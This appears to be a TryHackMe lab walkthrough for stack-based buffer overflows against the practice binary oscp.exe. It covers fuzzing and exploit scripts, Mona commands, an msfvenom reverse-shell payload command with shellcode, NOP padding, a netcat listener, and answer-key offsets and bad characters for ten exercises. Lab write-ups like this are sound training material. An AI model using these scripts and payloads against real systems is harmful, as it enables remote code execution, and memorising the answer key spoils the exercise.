Buffer Overflow

Practice stack based buffer overflows! (link to the walkthrough below)

We will use the Immunity Debugger with the Mona.py script

Environment

What I use for TryHackMe
Connect Windows VM to the Exegol docker

Steps

Mona Configuration

We need to open Immunity Debugger, open a binary (oscp.exe) and set a working directory with Mona.py script inside:

!mona config -set workingfolder c:\mona\%p

Fuzzing

Don't forget to re-run the binary everytime before you run theexploit.py script

  1. Create the Fuzzing script:

    #!/usr/bin/env python3
    ##### fuzzer.py script #####
    
    import socket, time, sys
    
    ip = "TARGET_IP"
    
    port = 1337 # port where the Immunity Debugger listen
    timeout = 5
    prefix = "OVERFLOW1 " # name of the binary
    
    string = prefix + "A" * 100
    
    while True:
      try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
          s.settimeout(timeout)
          s.connect((ip, port))
          s.recv(1024)
          print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
          s.send(bytes(string, "latin-1"))
          s.recv(1024)
      except:
        print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
        sys.exit(0)
      string += 100 * "A"
      time.sleep(1)
  2. Run the fuzzer.py script using python: python3 fuzzer.py. The fuzzer will send increasingly long strings comprised of As. If the fuzzer crashes the server with one of the strings, the fuzzer should exit with an error message

  3. Make a note of the largest number of bytes that were sent

Crash Replication & Controlling EIP

  1. Create another script to perform a Crash Replication & Controlling EIP:

    ##### exploit.py script #####
    import socket
    
    ip = "TARGET_IP"
    port = 1337
    
    prefix = "OVERFLOW1 "
    offset = 0
    overflow = "A" * offset
    retn = ""
    padding = ""
    payload = ""
    postfix = ""
    
    buffer = prefix + overflow + retn + padding + payload + postfix
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
      s.connect((ip, port))
      print("Sending evil buffer...")
      s.send(bytes(buffer + "\r\n", "latin-1"))
      print("Done!")
    except:
      print("Could not connect.")
  2. Generate the payload value with /opt/tools/metasploit-framework/tools/exploit/pattern_create.rb -l <largest nb bytes + 400 bytes>

  3. Run the exploit.py

  4. Run !mona findmsp -distance <largest nb bytes + 400 bytes> inside the input box of Immunity Debugger

  5. Get the offset value from the log data of Mona inside this line EIP contains normal pattern : ... (offset XXXX) and update the offset variable of the exploit.py script.

  6. Set the retn variable to BBBB

  7. Restart oscp.exe in Immunity and run the modified exploit.py script again. The EIP register should now be overwritten with the 4 B's (e.g. 42424242).

Breakdown of the !mona findmsp -distance 600command 🤔:

  • !mona: This tells Immunity Debugger to execute a Mona.py command. The plugin is invoked using !mona.

  • findmsp: This is a Mona.py feature that searches for MSP (Module Stack Pointer) or Metasploit Pattern. It looks for specific patterns that are used during the process of detecting buffer overflow conditions.

    • In a buffer overflow exploit, attackers need to find out where the "Saved Return Pointer" (EIP) is overwritten. findmsp helps locate the offset at which the saved return pointer is corrupted in the crash.

  • -distance 600: This specifies the maximum distance (600 bytes in this case) to search from the start of the buffer to the point where the buffer overflow might occur. Essentially, it tells Mona.py to look for the pattern within 600 bytes of the buffer's input to locate the exact offset of the crash.

Finding Bad Characters

The Finding Bad Characters step in a buffer overflow exploit is critical for ensuring that the payload or shellcode you inject does not get corrupted during transmission or execution.

Certain characters, known as bad characters, can cause problems like truncation, improper parsing, or unintended behavior during the buffer overflow.

Let the retn variable with "BBBB" during this step

  1. Generate a bytearray using !mona bytearray -b "\x00". The location should be C:\mona\oscp\bytearray.bin (depends on your working directory). It will be useful to compare what is in the memory to the generated list

  2. Generate a string of bad characters from \x01 to \xff with this script:

    for x in range(1, 256):
      print("\\x" + "{:02x}".format(x), end='')
    print()
  3. Set the payload variable to the string of bad chars the script generates

  4. Restart oscp.exe in Immunity and run the modified exploit.py script again

  5. Make a note of the address to which the ESP register points and use it in the following mona command: !mona compare -f C:\mona\oscp\bytearray.bin -a <address>

  6. A window ("mona Memory comparison results") shows the results of the comparison, indicating any characters that are different in memory to what they are in the generated bytearray.bin file

  7. Make a note of the badchars

  8. Generate a new bytearray in mona, specifying these new badchars along with \x00

  9. Update the payload variable in your exploit.py script and ⚠️ remove the new badchars as well ⚠️

  10. Repeat all the steps until the results status returns "Unmodified"

Finding a Jump Point

The Finding a Jump Point step in a buffer overflow exploit is crucial after identifying bad characters. Once you have confirmed that your payload can be safely injected into the buffer (without interference from bad characters), the next step is to redirect the program’s execution flow to your payload. This is done by finding a jump point, typically using ROP (Return Oriented Programming) techniques or by overwriting the EIP (Extended Instruction Pointer) with a memory address that points to code that can transfer execution to your shellcode.

In our case, the goal si to find a JMP ESP address instruction and overwrite it to the EIP

  1. Run this command !mona jmp -r esp -cpb "\x00" to find automate the search of JMP ESP instructions with the -cpb option with all the badchars you identified.

  2. Choose an address from the "Log data" window and update your exploit.py script, setting the retn variable to the address, written backwards

Generate Payload

  1. Run the following msfvenom command:

# -b option with all the badchars you identified (including \x00)
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c
  1. Copy the generated C code strings and integrate them into your exploit.py script payload variable using the following notation:

    payload = ("\xfc\xbb\xa1\x8a\x96\xa2\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
    "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x5d\x62\x14\xa2\x9d"
    ...
    "\xf7\x04\x44\x8d\x88\xf2\x54\xe4\x8d\xbf\xd2\x15\xfc\xd0\xb6"
    "\x19\x53\xd0\x92\x19\x53\x2e\x1d")

Prepend NOPs

Why Prepend NOPs?

Prepending NOPs to your shellcode is a simple yet powerful technique to:

  • Increase the likelihood of successful execution by creating a "landing zone."

  • Handle minor inaccuracies in the jump address or offsets.

  • Avoid stack alignment issues or conflicts with bad characters.

  • Provide space for shellcode decoders and other exploit elements.

  1. Set the padding variable to a string of 16 or more "No Operation" (\x90) bytes:

    padding = "\x90" * 16

Exploit

With the correct prefix, offset, return address, padding, and payload set, you can now exploit the buffer overflow to get a reverse shell.

  1. Start a netcat listener

  2. Restart oscp.exe in Immunity and run the modified exploit.py script again. Your netcat listener should catch a reverse shell!

oscp.exe - OVERFLOW1

Answer the questions below:

What is the EIP offset for OVERFLOW1?

2400 bytes (fuzzer)

EIP offset: 1978

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW1?

badchars = "\x00\x07\x08\x2e\x2f\xa0\xa1"

oscp.exe - OVERFLOW2

Answer the questions below:

What is the EIP offset for OVERFLOW2?

1100 bytes (fuzzer)

EIP offset: 634

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW2?

badchars = "\x00\x23\x3c\x83\xba"

oscp.exe - OVERFLOW3

Answer the questions below:

What is the EIP offset for OVERFLOW3?

1700 bytes (fuzzer)

EIP offset: 1274

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW3?

badchars = "\x00\x11\x40\x5F\xb8\xee"

oscp.exe - OVERFLOW4

Answer the questions below:

What is the EIP offset for OVERFLOW4?

2500 bytes (fuzzer)

EIP offset: 2026

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW4?

badchars = "\x00\xa9\xcd\xd4"

oscp.exe - OVERFLOW5

Answer the questions below:

What is the EIP offset for OVERFLOW5?

800 bytes (fuzzer)

EIP offset: 314

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW5?

badchars = "\x00\x16\x2f\xf4\xfd"

oscp.exe - OVERFLOW6

Answer the questions below:

What is the EIP offset for OVERFLOW6?

1500 bytes (fuzzer)

EIP offset: 1034

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW6?

badchars = "\x00\x08\x2c\xad"

oscp.exe - OVERFLOW7

Answer the questions below:

What is the EIP offset for OVERFLOW7?

1800 bytes (fuzzer)

EIP offset: 1306

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW7?

badchars = "\x00\x8c\xae\xbe\xfb"

oscp.exe - OVERFLOW8

Answer the questions below:

What is the EIP offset for OVERFLOW8?

2200 bytes (fuzzer)

EIP offset: 1786

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW8?

badchars = "\x00\x1d\x2e\xc7\xee"

oscp.exe - OVERFLOW9

Answer the questions below:

What is the EIP offset for OVERFLOW9?

2000 bytes (fuzzer)

EIP offset: 1514

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW9?

badchars = "\x00\x04\x3e\x3f\xe1"

oscp.exe - OVERFLOW10

Answer the questions below:

What is the EIP offset for OVERFLOW10?

1000 bytes (fuzzer)

EIP offset: 537

In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW10?

badchars = "\x00\xa0\xad\xbe\xde\xef"

Last updated